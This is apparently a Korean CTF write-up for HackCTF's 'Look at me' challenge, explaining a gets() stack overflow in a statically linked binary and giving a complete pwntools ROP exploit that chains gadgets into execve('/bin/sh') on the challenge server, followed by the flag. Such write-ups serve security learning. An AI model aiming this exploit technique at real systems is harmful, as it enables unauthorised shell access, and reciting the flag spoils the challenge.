-
Loot at meCTF/HackCTF 2021. 2. 1. 04:58
Disassembly 디스어셈블리
undefined4 main(void) { undefined4 uVar1; int32_t var_ch; int32_t var_4h; setvbuf(_stdout, 0, 2, 0); uVar1 = getegid(); __setresgid(uVar1, uVar1, uVar1); look_at_me(); return 0; }
void look_at_me(void) { char *s; puts("Hellooooooooooooooooooooo"); gets((int32_t)&s); return; }
gets로 인해 스택 버퍼 오버플로우가 발생한다.
ROP
NX가 켜져 있으므로 스택에 쉘코드 삽입을 통한 공격은 불가능하고, 라이브러리가 정적으로 링크되어 있기 때문에 Return-to-libc에도 제약이 걸린다. 결국 바이너리에 존재하는 여러 가젯을 잘 조합하는 방법밖에 없다.
[pwnable.tw] Start에서와 같이 시스템 콜을 이용해보자.
eax에 0x0b를 넣고 ebx에 "/bin/sh" 문자열의 주소를 넣고 ecx와 edx를 0으로 초기화한 뒤 int 0x80을 호출하면 execve("/bin/sh", 0, 0)가 호출되면서 쉘을 취득할 수 있다.
코드 영역에 쓰기 권한이 있는 주소가 있길래 get를 통해 binsh 문자열을 저장하는 용도로 썼다. Cutter의 Search 기능을 통해 eax, ebx, ecx, edx를 제어할 gadget을 찾아 ROP를 진행하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./lookatme" server = "ctf.j0n9hyun.xyz" port = 3017 # context.log_level = 'debug' context.binary = binary p = remote(server, port) e = ELF(binary) # 0x0809d33a = pop eax; pop ebx; pop esi; pop edi; ret; # 0x0806f04b = adc eax, 0x80ea9f0; pop edx; pop ecx; pop ebx; ret; # 0x0806cc25 = int 0x80 gets = e.symbols["gets"] binsh = 0x080e9000 # writable address payload = b"A"*0x1c payload += p32(gets) payload += p32(0x0806f04b) payload += p32(binsh) payload += p32(0) payload += p32(0) payload += p32(0x0806f04b) # ecx = 0, edx = 0 payload += p32(0) payload += p32(0) payload += p32(0) payload += p32(0x0809d33a) # eax = 0x0b, ebx = "/bin/sh" payload += p32(0x0b) # execve syscall number payload += p32(binsh) # /bin/sh payload += p32(0) payload += p32(0) payload += p32(0x0806cc25) # execve("/bin/sh", 0, 0) p.sendline(payload) payload = "/bin/sh\x00" p.sendline(payload) p.interactive()
Flag
HackCTF{Did_you_understand_the_static_linking_method?}
'CTF > HackCTF' 카테고리의 다른 글
You are silver (0) 2021.02.01 Gift (0) 2021.02.01 RTL_Core (0) 2021.02.01 Random Key (0) 2021.02.01 1996 (0) 2021.02.01